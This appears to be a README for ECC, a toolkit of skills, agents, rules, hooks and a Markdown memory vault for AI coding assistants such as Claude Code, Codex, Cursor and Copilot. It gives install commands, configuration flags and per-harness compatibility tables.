|-- videodb/ # Video and audio: ingest, search, edit, generate, stream\n| |-- golang-patterns/ # Go idioms and best practices\n| |-- golang-testing/ # Go testing patterns, TDD, benchmarks\n| |-- cpp-coding-standards/ # C++ coding standards from C++ Core Guidelines\n| |-- cpp-testing/ # C++ testing with GoogleTest, CMake/CTest\n| |-- django-patterns/ # Django patterns, models, views\n| |-- django-security/ # Django security best practices\n| |-- django-tdd/ # Django TDD workflow\n| |-- django-verification/ # Django verification loops\n| |-- laravel-patterns/ # Laravel architecture patterns\n| |-- laravel-security/ # Laravel security best practices\n| |-- laravel-tdd/ # Laravel TDD workflow\n| |-- laravel-verification/ # Laravel verification loops\n| |-- python-patterns/ # Python idioms and best practices\n| |-- python-testing/ # Python testing with pytest\n| |-- quarkus-patterns/ # Java Quarkus patterns\n| |-- quarkus-security/ # Quarkus security\n| |-- quarkus-tdd/ # Quarkus TDD\n| |-- quarkus-verification/ # Quarkus verification\n| |-- rails-patterns/ # Rails architecture patterns\n| |-- springboot-patterns/ # Java Spring Boot patterns\n| |-- springboot-security/ # Spring Boot security\n| |-- springboot-tdd/ # Spring Boot TDD\n| |-- springboot-verification/ # Spring Boot verification\n| |-- configure-ecc/ # Interactive installation wizard\n| |-- security-scan/ # AgentShield security auditor integration\n| |-- java-coding-standards/ # Java coding standards\n| |-- jpa-patterns/ # JPA/Hibernate patterns\n| |-- postgres-patterns/ # PostgreSQL optimization patterns\n| |-- nutrient-document-processing/ # Document processing with Nutrient API\n| |-- database-migrations/ # Migration patterns (Prisma, Drizzle, Django, Go)\n| |-- api-design/ # REST API design, pagination, error responses\n| |-- deployment-patterns/ # CI/CD, Docker, health checks, rollbacks\n| |-- docker-patterns/ # Docker Compose, networking, volumes, container security\n| |-- e2e-testing/ # Playwright E2E patterns and Page Object Model\n| |-- content-hash-cache-pattern/ # SHA-256 content hash caching for file processing\n| |-- cost-aware-llm-pipeline/ # LLM cost optimization, model routing, budget tracking\n| |-- regex-vs-llm-structured-text/ # Decision framework: regex vs LLM for text parsing\n| |-- swift-actor-persistence/ # Thread-safe Swift data persistence with actors\n| |-- swift-protocol-di-testing/ # Protocol-based DI for testable Swift code\n| |-- search-first/ # Research-before-coding workflow\n| |-- skill-stocktake/ # Audit skills and commands for quality\n| |-- liquid-glass-design/ # iOS 26 Liquid Glass design system\n| |-- foundation-models-on-device/ # Apple on-device LLM with FoundationModels\n| |-- swift-concurrency-6-2/ # Swift 6.2 Approachable Concurrency\n| |-- mle-workflow/ # Production ML data contracts, evals, deployment, monitoring\n| |-- perl-patterns/ # Modern Perl 5.36+ idioms and best practices\n| |-- perl-security/ # Perl security patterns, taint mode, safe I/O\n| |-- perl-testing/ # Perl TDD with Test2::V0, prove, Devel::Cover\n| |-- autonomous-loops/ # Autonomous loop patterns: sequential pipelines, PR loops, DAG orchestration\n| |-- plankton-code-quality/ # Write-time code quality enforcement with Plankton hooks\n| |-- codehealth-mcp/ # Optional CodeScene Code Health MCP skill (opt-in)\n| |-- docs/examples/project-guidelines-template.md # Template for project-specific skills\n|\n|-- commands/ # Maintained slash-entry compatibility; prefer skills/\n| |-- plan.md # /plan - Implementation planning\n| |-- code-review.md # /code-review - Quality review\n| |-- build-fix.md # /build-fix - Fix build errors\n| |-- refactor-clean.md # /refactor-clean - Dead code removal\n| |-- quality-gate.md # /quality-gate - Verification gate\n| |-- learn.md # /learn - Extract patterns mid-session (Longform Guide)\n| |-- learn-eval.md # /learn-eval - Extract, evaluate, and save patterns\n| |-- checkpoint.md # /checkpoint - Save verification state (Longform Guide)\n| |-- setup-pm.md # /setup-pm - Configure package manager\n| |-- go-review.md # /go-review - Go code review\n| |-- go-test.md # /go-test - Go TDD workflow\n| |-- go-build.md # /go-build - Fix Go build errors\n| |-- skill-create.md # /skill-create - Generate skills from git history\n| |-- instinct-status.md # /instinct-status - View learned instincts\n| |-- instinct-import.md # /instinct-import - Import instincts\n| |-- instinct-export.md # /instinct-export - Export instincts\n| |-- evolve.md # /evolve - Cluster instincts into skills\n| |-- prune.md # /prune - Delete expired pending instincts\n| |-- pm2.md # /pm2 - PM2 service lifecycle management\n| |-- multi-plan.md # /multi-plan - Multi-agent task decomposition\n| |-- multi-execute.md # /multi-execute - Orchestrated multi-agent workflows\n| |-- multi-backend.md # /multi-backend - Backend multi-service orchestration\n| |-- multi-frontend.md # /multi-frontend - Frontend multi-service orchestration\n| |-- multi-workflow.md # /multi-workflow - General multi-service workflows\n| |-- sessions.md # /sessions - Session history management\n| |-- test-coverage.md # /test-coverage - Test coverage analysis\n| |-- update-docs.md # /update-docs - Update documentation\n| |-- update-codemaps.md # /update-codemaps - Update codemaps\n| |-- python-review.md # /python-review - Python code review\n|-- legacy-command-shims/ # Opt-in archive for retired shims such as /tdd and /eval\n| |-- tdd.md # /tdd - Prefer the tdd-workflow skill\n| |-- e2e.md # /e2e - Prefer the e2e-testing skill\n| |-- eval.md # /eval - Prefer the eval-harness skill\n| |-- verify.md # /verify - Prefer the verification-loop skill\n| |-- orchestrate.md # /orchestrate - Prefer dmux-workflows or multi-workflow\n|\n|-- rules/ # Always-follow guidelines (copy to ~/.claude/rules/ecc/)\n| |-- README.md # Structure overview and installation guide\n| |-- common/ # Language-agnostic principles\n| | |-- coding-style.md # Immutability, file organization\n| | |-- git-workflow.md # Commit format, PR process\n| | |-- testing.md # TDD, 80% coverage requirement\n| | |-- performance.md # Model selection, context management\n| | |-- patterns.md # Design patterns, skeleton projects\n| | |-- hooks.md # Hook architecture, TodoWrite\n| | |-- agents.md # When to delegate to subagents\n| | |-- security.md # Mandatory security checks\n| |-- typescript/ # TypeScript/JavaScript specific\n| |-- python/ # Python specific\n| |-- golang/ # Go specific\n| |-- swift/ # Swift specific\n| |-- php/ # PHP specific\n| |-- arkts/ # HarmonyOS / ArkTS specific\n|\n|-- hooks/ # Trigger-based automations\n| |-- README.md # Hook documentation, recipes, and customization guide\n| |-- hooks.json # All hooks config (PreToolUse, PostToolUse, Stop, etc.)\n| |-- memory-persistence/ # Session lifecycle hooks (Longform Guide)\n| |-- strategic-compact/ # Compaction suggestions (Longform Guide)\n|\n|-- scripts/ # Cross-platform Node.js scripts\n| |-- lib/ # Shared utilities\n| | |-- utils.js # Cross-platform file/path/system utilities\n| | |-- package-manager.js # Package manager detection and selection\n| |-- hooks/ # Hook implementations\n| | |-- session-start.js # Load context on session start\n| | |-- session-end.js # Save state on session end\n| | |-- pre-compact.js # Pre-compaction state saving\n| | |-- suggest-compact.js # Strategic compaction suggestions\n| | |-- evaluate-session.js # Extract patterns from sessions\n| |-- setup-package-manager.js # Interactive PM setup\n|\n|-- tests/ # Test suite\n| |-- lib/ # Library tests\n| |-- hooks/ # Hook tests\n| |-- run-all.js # Run all tests\n|\n|-- contexts/ # Dynamic system prompt injection contexts (Longform Guide)\n| |-- dev.md # Development mode context\n| |-- review.md # Code review mode context\n| |-- research.md # Research/exploration mode context\n|\n|-- examples/ # Example configurations and sessions\n| |-- CLAUDE.md # Example project-level config\n| |-- user-CLAUDE.md # Example user-level config\n| |-- saas-nextjs-CLAUDE.md # Real-world SaaS (Next.js + Supabase + Stripe)\n| |-- go-microservice-CLAUDE.md # Real-world Go microservice (gRPC + PostgreSQL)\n| |-- django-api-CLAUDE.md # Real-world Django REST API (DRF + Celery)\n| |-- laravel-api-CLAUDE.md # Real-world Laravel API (PostgreSQL + Redis)\n| |-- rust-api-CLAUDE.md # Real-world Rust API (Axum + SQLx + PostgreSQL)\n|\n|-- mcp-configs/ # MCP server configurations\n| |-- mcp-servers.json # GitHub, Supabase, Vercel, Railway, etc.\n|\n|-- ecc_dashboard.py # Desktop GUI dashboard (Tkinter)\n|\n|-- marketplace.json # Self-hosted marketplace config (for /plugin marketplace add)\nLaunch the desktop dashboard to visually explore ECC components:
\nnpm run dashboard\n# or\npython3 ./ecc_dashboard.py\nFeatures:
\nSubagents handle delegated tasks with limited scope. Example:
\n---\nname: code-reviewer\ndescription: Reviews code for quality, security, and maintainability\ntools: Read, Grep, Glob, Bash\nmodel: opus\n---\n\nYou are a senior code reviewer...\nSkills are the primary workflow surface. They can be invoked directly, suggested automatically, and reused by agents. ECC still ships maintained commands/ during migration, while retired short-name shims live under legacy-command-shims/ for explicit opt-in only. New workflow development should land in skills/ first.
# TDD Workflow\n\n1. Define interfaces first\n2. Write failing tests (RED)\n3. Implement minimal code (GREEN)\n4. Refactor (IMPROVE)\n5. Verify 80%+ coverage\nHooks fire on tool events. Example: warn about console.log:
\n{\n \"matcher\": \"tool == \\\"Edit\\\" && tool_input.file_path matches \\\"\\\\\\\\.(ts|tsx|js|jsx)$\\\"\",\n \"hooks\": [{\n \"type\": \"command\",\n \"command\": \"#!/bin/bash\\ngrep -n 'console\\\\.log' \\\"$file_path\\\" && echo '[Hook] Remove console.log' >&2\"\n }]\n}\nRules are always-follow guidelines, organized into common/ (language-agnostic) + language-specific directories:
rules/\n common/ # Universal principles (always install)\n typescript/ # TS/JS specific patterns and tools\n python/ # Python specific patterns and tools\n golang/ # Go specific patterns and tools\n swift/ # Swift specific patterns and tools\n php/ # PHP specific patterns and tools\n arkts/ # HarmonyOS / ArkTS patterns and constraints\nSee rules/README.md for installation and structure details.
This repo is the raw code. The guides explain everything.
\n ![\"The](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/shorthand-guide.png\") The Shorthand Guide Setup, foundations, and day-one use. Read this first. (thread) | \n ![\"The](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/longform-guide.png\") The Longform Guide Context economics, memory, evals, and parallel agents. (thread) | \n ![\"The](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/security-guide.png\") The Security Guide Prompt injection, hooks, MCP, and AgentShield. (thread) | \n
| Topic | \nWhat You'll Learn | \n
|---|---|
| Token Optimization | \nModel selection, system prompt slimming, background processes | \n
| Memory Persistence | \nHooks that save/load context across sessions automatically | \n
| Continuous Learning | \nAuto-extract patterns from sessions into reusable skills | \n
| Verification Loops | \nCheckpoint vs continuous evals, grader types, pass@k metrics | \n
| Parallelization | \nGit worktrees, cascade method, when to scale instances | \n
| Subagent Orchestration | \nThe context problem, iterative retrieval pattern | \n
Commands Quick Reference | Manual Adaptation Guide | Astra Review Guide | Troubleshooting FAQ | Roadmap
\n| Without a system | \nWith ECC | \n
|---|---|
| Plans disappear into chat history | \nPlans become editable artifacts before implementation starts | \n
| \"Please use TDD\" is an instruction the model may forget | \nTDD becomes a gated RED -> GREEN -> REFACTOR workflow with evidence | \n
| The same context writes and reviews the code | \nA fresh-context reviewer looks for regressions and blind spots | \n
| Memory means saving an enormous transcript | \nSessions are distilled into summaries, instincts, and reusable skills | \n
| Quality checks depend on reminders | \nHooks can enforce deterministic checks outside the prompt | \n
| Agent configuration is trusted by default | \nAgentShield scans the harness itself as an attack surface | \n
/ecc:plan \"Add usage-based billing alerts\"\n -> confirm or edit the plan\n -> activate tdd-workflow\n -> capture RED evidence before implementation\n -> implement until GREEN\n -> review from fresh context\n -> fix findings with regression tests\n -> verify build, lint, types, and tests\nA result is not just code. It's a trail of evidence: the plan, the failing test, the passing test, the review findings, and the final verification.
\nRules, skills, agents, and hooks solve different problems. Keeping those jobs separate is how ECC adds capability without dumping the entire repository into every session.
\n| Concept | \nWhat it does | \nContext behavior | \n
|---|---|---|
| Skills | \nReusable workflows such as TDD, security review, or deep research | \nLoaded when the task needs them | \n
| Agents | \nScoped workers with their own context and tool permissions | \nIsolate planning, implementation, and review | \n
| Rules | \nDurable project or language standards | \nAlways loaded, so install them selectively | \n
| Hooks | \nScripts triggered by harness events | \nRun outside the model context | \n
| Instincts | \nPatterns learned from real sessions with confidence scores | \nRecalled when relevant | \n
ECC's Memory Vault gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. Project and team memories live under .ecc/memory/; user memories live under ~/.ecc/memory/.
Skill-only, minimal, manual, and Claude plugin installs do not put the Memory Vault runtime on PATH. Install the npm runtime separately before using the CLI or optional MCP server:
npm install -g ecc-universal@2.2.3\necc memory init --scope project\necc memory search \"authentication migration\" --target-harness codex\necc memory doctor\nMemory is unreviewed context, not executable policy. Verify important claims against authoritative sources and promote accepted knowledge into governed project documentation. The optional ecc-memory-mcp server exposes the same bounded save, search, read, and doctor surface without enabling itself by default.
Open the Unified Memory workflow \u2192
\nThe Memory Vault stores portable ecc.memory.v1 Markdown documents instead of copying vendor transcripts or emailing context between agents. Project memories are protected by a fail-closed .gitignore; use the team scope only for human-inspected, version-controlled sharing. Team memories remain unreviewed context even after they are committed.
After installing the runtime above, check that the CLI and optional MCP entry point are available:
\necc memory --help\ncommand -v ecc-memory-mcp\n# Initialize the project vault.\necc memory init --scope project\n\n# Write a handoff body to a regular file, then target the next harness.\necc memory handoff \\\n --from hermes \\\n --target codex \\\n --title \"Continue authentication migration\" \\\n --body-file ./handoff.md\n\n# Recall it from another harness.\necc memory search \"authentication migration\" --target-harness codex\necc memory read <memory-id>\n\n# Validate the vault before sharing team memories.\necc memory doctor\nMemory bodies are accepted only through --stdin or --body-file, not as command-line values. The first release keeps every vault entry unreviewed and create-only; human review promotes accepted knowledge into governed project documentation rather than changing memory trust. Normal search recall returns active project and team memories. A direct ID read may inspect a non-active entry. User-scope recall must be requested explicitly. Agents must verify important claims against authoritative sources and must never treat recalled bodies as executable instructions or policy.
For opt-in MCP access, add the ecc-memory-vault entry from mcp-configs/mcp-servers.json to each harness that needs it, then run ecc-memory-mcp. The server exposes only memory_save, memory_search, memory_read, and memory_doctor. Each server must launch with a lowercase ECC_MEMORY_HARNESS identity; the identity is server-bound and cannot be supplied by a tool caller. User scope additionally requires the operator-controlled ECC_MEMORY_ALLOW_USER_SCOPE=1 opt-in. See skills/unified-memory/SKILL.md for the workflow and trust boundaries, and docs/design/ecc-memory-vault.md for the capability contract.
ECC's core Node.js CLI and managed installers run on Windows, macOS, and Linux, but optional capabilities are not at full parity. Some continuous-learning, GAN, and orchestration paths still require Bash or Python; harnesses also expose different hook, agent, and skill APIs.
\n| Platform | \nStatus | \nCurrent limitation | \n
|---|---|---|
| Linux | \nSupported core | \nOptional features may require Bash, Python, or provider-specific tools. | \n
| macOS | \nSupported core | \nThe standalone GAN shell path is not compatible with the system Bash 3.2 and currently has a score-parsing defect (#2674). | \n
| Windows + WSL | \nSupported core | \nWSL follows the Linux paths; Windows host integrations still vary by harness. | \n
| Windows native | \nSupported with limitations | \nContinuous-learning v2's observer daemon and memory-vault writes have open native-Windows defects (#2489, #2626). Shell-backed optional features require Git Bash/WSL or are unavailable. | \n
Treat stable, beta, experimental, and instruction-only below as capability statements, not marketing tiers.
| Harness | \nStatus | \nRecommended distribution | \nImportant limitation | \n
|---|---|---|---|
| Claude Code | \nStable primary | \nPlugin or selective installer | \nThe plugin advertises the installed catalog to the model; use a selective/manual profile when context footprint matters. Optional shell-backed skills are not portable to every OS. | \n
| Codex | \nSupported native plugin | \nCodex marketplace plugin or repo config | \nNative hooks require an explicit trust decision and do not use Claude's hook profiles. The legacy sync is compatibility-only. | \n
| Qoder | \nSupported native plugin | \nLocal plugin directory in Qoder CLI or ZIP upload in Qoder IDE | \nLoads the canonical skills, agents, commands, and MCP config; only the reviewed SessionStart hook is enabled, and Node.js 18+ must be on the non-interactive PATH. | \n
| Cursor | \nBeta project adapter | \nSelective installer into .cursor/ | \n Agent discovery varies by Cursor build; hook events use profile-gated dispatchers, but full Claude feature parity is not claimed. | \n
| OpenCode | \nBeta built plugin | \nBuild plugin, then selective installer | \nECC ships a subset of the catalog; connect a provider and select a model in OpenCode (#2617). | \n
| GitHub Copilot Chat | \nInstruction-only | \nChecked-in instructions and prompt files | \nECC hooks are not adapted. | \n
| GitHub Copilot CLI | \nBeta project adapter | \n--target copilot places skills and adapted agents in .github/ | \n ECC hooks, rules, and command shims are not installed by this target. | \n
| Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode | \nExperimental/minimal adapters | \nHarness-specific selective target | \nFile placement and instruction portability are tested; full Claude feature parity is not claimed. | \n
The plugin automatically detects your preferred package manager (npm, pnpm, yarn, or bun) with the following priority:
\nCLAUDE_PACKAGE_MANAGER.claude/package-manager.jsonpackageManager field~/.claude/package-manager.jsonTo set your preferred package manager:
\n# Via environment variable\nexport CLAUDE_PACKAGE_MANAGER=pnpm\n\n# Via global config\nnode scripts/setup-package-manager.js --global pnpm\n\n# Via project config\nnode scripts/setup-package-manager.js --project bun\n\n# Detect current setting\nnode scripts/setup-package-manager.js --detect\nOr use the /setup-pm command.
Use runtime flags to tune strictness or disable specific hooks temporarily:
\n# Hook strictness profile (default: standard)\nexport ECC_HOOK_PROFILE=standard\n\n# Comma-separated hook IDs to disable\nexport ECC_DISABLED_HOOKS=\"pre:bash:tmux-reminder,post:edit:typecheck\"\n\n# Cap SessionStart additional context (default: 8000 chars)\nexport ECC_SESSION_START_MAX_CHARS=4000\n\n# Disable SessionStart additional context entirely for low-context/local-model setups\nexport ECC_SESSION_START_CONTEXT=off\n\n# Session-tmp retention window in days (default: 30).\n# Set to 0, off, false, disabled, never, or none to keep all sessions (disable pruning).\nexport ECC_SESSION_RETENTION_DAYS=14\n\n# Cap how many learned instincts SessionStart injects into context (default: 6)\nexport ECC_MAX_INJECTED_INSTINCTS=6\n\n# Minimum confidence an instinct needs to be injected, 0-1 (default: 0.7)\nexport ECC_INSTINCT_CONFIDENCE_THRESHOLD=0.7\n\n# SessionStart ranks injected instincts by confidence + project/stack relevance\n# (default: on). Project-scoped instincts, and instincts whose domain/trigger\n# matches the detected stack (languages, frameworks, plus terraform/dbt markers),\n# get a small ranking boost so they surface above unrelated higher-confidence\n# ones. Set to off/false/0/no to rank by confidence alone.\nexport ECC_INSTINCT_RELEVANCE_RANKING=on\n\n# Keep context/scope/loop warnings but suppress API-rate cost estimates\nexport ECC_CONTEXT_MONITOR_COST_WARNINGS=off\nWindows PowerShell:
\n[Environment]::SetEnvironmentVariable('ECC_CONTEXT_MONITOR_COST_WARNINGS', 'off', 'User')\n[Environment]::SetEnvironmentVariable('ECC_SESSION_RETENTION_DAYS', '14', 'User')\nMemory persistence hooks (session summaries, learned skills, session aliases, metrics) store data under a single agent data root. By default that root is ~/.claude. When you use ECC in both Claude Code and Cursor on the same machine, set a separate root for Cursor so the two environments do not overwrite each other's session files:
# Cursor-only boundary (Claude Code keeps the default ~/.claude)\nexport ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\nPaths resolved under that root include:
\n$ECC_AGENT_DATA_HOME/session-data/: session summaries$ECC_AGENT_DATA_HOME/skills/learned/: learned skills from evaluate-session$ECC_AGENT_DATA_HOME/session-aliases.json: session aliases$ECC_AGENT_DATA_HOME/metrics/: cost and activity metricsSee affaan-m/ECC#2065.
\n| Capability | \nClaude Code | \nCodex | \nCursor | \nOpenCode | \nGitHub Copilot | \n
|---|---|---|---|---|---|
| Instructions | \nNative | \nNative AGENTS.md | \n Project rules | \nPlugin instructions | \nNative instruction file | \n
| Skills | \nNative installed set | \nNative plugin set | \nBuild-dependent/project set | \nBuilt subset | \nNative discovery (Copilot CLI) from .github/skills/, .agents/skills/, .claude/skills/ | \n
| Agents/delegation | \nNative agents | \nCodex multi-agent roles; Claude agent files are not installed as roles | \nBuild-dependent project agents | \nPlugin agents | \nCopilot CLI custom agents via .github/agents/ and --agent | \n
| ECC hooks | \nNative plugin hooks | \nNative reviewed subset with explicit trust | \nCursor hook adapter; install-path differences remain | \nPlugin events | \nNot ported; Copilot CLI has its own plugin hook system | \n
| MCP configuration | \nAvailable, explicit activation | \nNative plugin manifest; legacy sync can merge TOML | \nExplicit project/user config | \nProvider/plugin config | \nNot supplied by ECC | \n
| Parity with Claude Code | \nPrimary reference | \nPartial | \nPartial | \nPartial | \nPartial | \n
Key architectural decisions:
\n.github/copilot-instructions.md instead)AGENTS.md, optional model_instructions_file overrides, and sandbox permissionsECC provides Cursor IDE support with hooks, rules, agents, skills, commands, and MCP configs adapted for Cursor's project layout.
\n# macOS/Linux\n./install.sh --target cursor typescript\n./install.sh --target cursor python golang swift php\n# Windows PowerShell\n.\\install.ps1 --target cursor typescript\n.\\install.ps1 --target cursor python golang swift php\n| Component | \nCount | \nDetails | \n
|---|---|---|
| Hook Events | \n15 | \nsessionStart, beforeShellExecution, afterFileEdit, beforeMCPExecution, beforeSubmitPrompt, and 10 more | \n
| Hook Entrypoints | \n15 | \nThin Node.js event dispatchers delegating to scripts/hooks/ via shared adapter | \n
| Rules | \n34 | \n9 common (alwaysApply) + 25 language-specific (TypeScript, Python, Go, Swift, PHP) | \n
| Agents | \n48 | \n.cursor/agents/ecc-*.md when installed; prefixed to avoid collisions with user or marketplace agents | \n
| Skills | \nShared + Bundled | \n.cursor/skills/ for translated additions | \n
| Commands | \nShared | \n.cursor/commands/ if installed | \n
| MCP Config | \nShared | \n.cursor/mcp.json if installed | \n
ECC does not install root AGENTS.md into .cursor/. Cursor treats nested AGENTS.md files as directory context, so copying ECC's repo identity into a host project would pollute that project.
Cursor-native loading behavior can vary by Cursor build. ECC installs agents as .cursor/agents/ecc-*.md; if your Cursor build does not expose project agents, those files still work as explicit reference definitions instead of hidden global prompt context.
ECC memory hooks reuse the same scripts/hooks/*.js as Claude Code. For Cursor, ECC tries to keep memory out of ~/.claude automatically:
sessionStart hook (installed to .cursor/hooks.json on --target cursor) injects ECC_AGENT_DATA_HOME for the whole composer session.CURSOR_VERSION or CURSOR_PROJECT_DIR is present, hooks default to ~/.cursor/ecc if the env var is unset..cursor/ecc-agent-data.json documents and overrides the path (agentDataHome)..cursor/rules/ecc-agent-data-home.mdc reminds the agent where memory lives.You can still override explicitly:
\nexport ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\nTo share memory with Claude Code on purpose, set ECC_AGENT_DATA_HOME=~/.claude in the shell or in .cursor/ecc-agent-data.json.
Continuous learning v2 instincts remain separate under CLV2_HOMUNCULUS_DIR (default ~/.local/share/ecc-homunculus).
Cursor has more hook events than Claude Code (20 vs 8). The .cursor/hooks/adapter.js module transforms Cursor's stdin JSON to Claude Code's format, allowing existing scripts/hooks/*.js to be reused without duplication. Each Cursor event is registered with one event-level dispatcher so enabled checks run in a deterministic order and remain compatible with Cursor versions that execute only the first matching entry. The adapter resolves the shared runtime from both the ECC checkout and an installed project's .cursor/scripts/ tree.
Cursor stdin JSON -> adapter.js -> transforms -> scripts/hooks/*.js\n (shared with Claude Code)\nKey hooks:
\nCursor rules use YAML frontmatter with description, globs, and alwaysApply:
---\ndescription: \"TypeScript coding style extending common rules\"\nglobs: [\"**/*.ts\", \"**/*.tsx\", \"**/*.js\", \"**/*.jsx\"]\nalwaysApply: false\n---\nECC provides a supported native Codex marketplace plugin and repo-local configuration for the macOS app and CLI. The native plugin carries shared skills, MCP configuration, and a reviewed hook subset; Codex keeps hook trust under explicit user control. The older sync path remains compatibility-only. For repo navigation, surface ownership, and PR diff packet guidance, start with docs/CODEX-NAVIGATION-GUIDE.md.
# Recommended current install: add ECC's native plugin from the repo marketplace\ncodex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\n\n# Or run Codex CLI in the repo: AGENTS.md and .codex/ are auto-detected\ncodex\nLegacy copied-configuration compatibility is still available when you intentionally need it:
\n# Compatibility-only managed sync into ~/.codex\nnpm install && bash scripts/sync-ecc-to-codex.sh\n\n# Or copy only the reference config manually\ncp .codex/config.toml ~/.codex/config.toml\nNormal MCP sync preserves existing server settings and warns when they differ from ECC's recommendation. An existing chrome-devtools-mcp@latest entry therefore stays unchanged; updating the repository alone does not adopt the recommended chrome-devtools-mcp@1.10.1 pin. Existing legacy-sync users can preview and explicitly apply the refresh from the updated ECC checkout:
bash scripts/sync-ecc-to-codex.sh --dry-run --update-mcp\nbash scripts/sync-ecc-to-codex.sh --update-mcp\nReview the preview before applying: --update-mcp replaces the entire recommended chrome-devtools server section, including custom command arguments and nested settings. Unrelated user-managed servers remain in place. Retired defaults such as Context7 are not refreshed or migrated by this flag.
Codex macOS app:
\nAGENTS.md is auto-detected..codex/config.toml and .codex/agents/*.toml work best when kept project-local..codex/config.toml intentionally does not pin model or model_provider, so Codex uses its own current default unless you override it..codex/config.toml to ~/.codex/config.toml for global defaults; keep the multi-agent role files project-local unless you also copy .codex/agents/.| Component | \nCount | \nDetails | \n
|---|---|---|
| Config | \n1 | \n.codex/config.toml: top-level approvals/sandbox/web_search, MCP servers, notifications, profiles | \n
| AGENTS.md | \n2 | \nRoot (universal) + .codex/AGENTS.md (Codex-specific supplement) | \n
| Skills | \n32 | \n.agents/skills/: SKILL.md + agents/openai.yaml per skill | \n
| MCP Servers | \n6 legacy reference entries | \nGitHub, Context7, Exa, Memory, Playwright, Sequential Thinking. Current managed sync recommends chrome-devtools; see the explicit refresh instructions above. | \n
| Profiles | \n2 | \nstrict (read-only sandbox) and yolo (full auto-approve) | \n
| Agent Roles | \n3 | \n.codex/agents/: explorer, reviewer, docs-researcher | \n
Skills at .agents/skills/ are auto-loaded by Codex. Canonical Anthropic skills such as claude-api, frontend-design, and skill-creator are intentionally not re-bundled here. Install those from anthropics/skills when you want the official versions.
Codex does not provide Claude-style hook execution parity. The native ECC plugin includes a reviewed hook subset that requires explicit trust in /hooks; AGENTS.md, optional model_instructions_file overrides, and sandbox/approval settings provide the remaining instruction and policy layers.
Current Codex builds support stable multi-agent workflows.
\nfeatures.multi_agent = true in .codex/config.toml[agents.<name>].codex/agents//agent in the CLI to inspect or steer child agentsECC ships three sample role configs:
\n| Role | \nPurpose | \n
|---|---|
explorer | \n Read-only codebase evidence gathering before edits | \n
reviewer | \n Correctness, security, and missing-test review | \n
docs_researcher | \n Documentation and API verification before release/docs changes | \n
ECC provides Zed project support through a conservative .zed adapter for project-local settings, flattened rules, agents, commands, and skills.
./install.sh --profile minimal --target zed\n.\\install.ps1 --profile minimal --target zed\nThe adapter writes ECC-managed files under .zed/ and keeps BYOK/OpenRouter credentials out of the repo. Configure Zed account or API keys through Zed's own settings UI or your local user settings.
ECC provides a beta OpenCode plugin integration with instructions, a catalog subset, commands, custom tools, and hook events. It does not provide feature parity with Claude Code. The reference config inherits the user's OpenCode model selection instead of pinning a provider-specific model.
\n# Run your reviewed OpenCode installation in the repository root\nopencode\nFor installation, use the official OpenCode instructions, select an exact release, and verify it before execution. The upstream npm package is opencode-ai, not opencode. ECC does not attest to an audited OpenCode runtime version.
The configuration is automatically detected from .opencode/opencode.json.
OpenCode's plugin system has 20+ event types:
\n| Claude Code Hook | \nOpenCode Plugin Event | \n
|---|---|
| PreToolUse | \ntool.execute.before | \n
| PostToolUse | \ntool.execute.after | \n
| Stop | \nsession.idle | \n
| SessionStart | \nsession.created | \n
| SessionEnd | \nsession.deleted | \n
Additional OpenCode events: file.edited, file.watcher.updated, message.updated, lsp.client.diagnostics, tui.toast.show, and more.
Option 1: Use directly
\ncd ECC\nopencode\nOption 2: Install as npm package
\nnpm install ecc-universal@2.2.3\nThen add to your opencode.json:
{\n \"plugin\": [\"ecc-universal\"]\n}\nThat npm plugin entry enables ECC's published OpenCode plugin module (hooks/events and plugin tools). It does not automatically add ECC's full command/agent/instruction catalog to your project config.
\nFor the full ECC OpenCode setup, either:
\n.opencode/ config assets into your project and wire the instructions, agent, and command entries in opencode.json.opencode/MIGRATION.md.opencode/README.md.opencode/instructions/INSTRUCTIONS.mdllms.txt (complete OpenCode docs for LLMs)ECC supports GitHub Copilot on two surfaces: Copilot Chat in VS Code, via its native instruction and prompt file system, and GitHub Copilot CLI, which discovers the shared skills already present in this repository. The optional copilot install target places canonical skills and adapted agents in the CLI's native project directories.
| Component | \nFile | \nPurpose | \n
|---|---|---|
| Core instructions | \n.github/copilot-instructions.md | \n Always-loaded rules: coding style, security, testing, git workflow | \n
| VS Code settings | \n.vscode/settings.json | \n Per-task instruction files for code gen, test gen, and commit messages | \n
| Plan prompt | \n.github/prompts/plan.prompt.md | \n Phased implementation planning | \n
| TDD prompt | \n.github/prompts/tdd.prompt.md | \n Red-Green-Improve cycle | \n
| Security review prompt | \n.github/prompts/security-review.prompt.md | \n Deep OWASP-aligned security analysis | \n
| Build fix prompt | \n.github/prompts/build-fix.prompt.md | \n Systematic build and CI error resolution | \n
| Refactor prompt | \n.github/prompts/refactor.prompt.md | \n Dead code cleanup and simplification | \n
The files are already in place: open any repo that contains this project and GitHub Copilot Chat will automatically pick up .github/copilot-instructions.md. The committed .vscode/settings.json enables chat.promptFiles so VS Code can load the reusable prompts from .github/prompts/.
To use the workflow prompts in Copilot Chat:
\n/ and choose a prompt.plan, tdd, security-review).GitHub Copilot CLI discovers SKILL.md skills from .github/skills/, .agents/skills/, .claude/skills/, ~/.copilot/skills/, and ~/.agents/skills/, and custom agents from .github/agents/. ECC's skill and skill frontmatter is compatible. The managed copilot target adapts agent frontmatter to name and description, removing Claude-specific model and tool keys. Raw manual agent copies can retain unsupported metadata.
Because ECC ships a skill subset in .agents/skills/, a plain clone of this repository is picked up by Copilot CLI with no configuration at all:
git clone https://github.com/affaan-m/ECC.git && cd ECC\ncopilot skill list\n# The inventory depends on the checkout and CLI version.\nIn the contributor's September 2026 checkout, Copilot CLI 1.0.83 reported all 42 under Project skills with source: \"project\" and enabled: true. The three from .claude/commands/ are Claude command files that Copilot surfaces as skills; they are reported with path set to the .claude/commands directory rather than to a per-skill subdirectory.
To check this with a temporary npm-distributed CLI, run the pinned build against a throwaway clone:
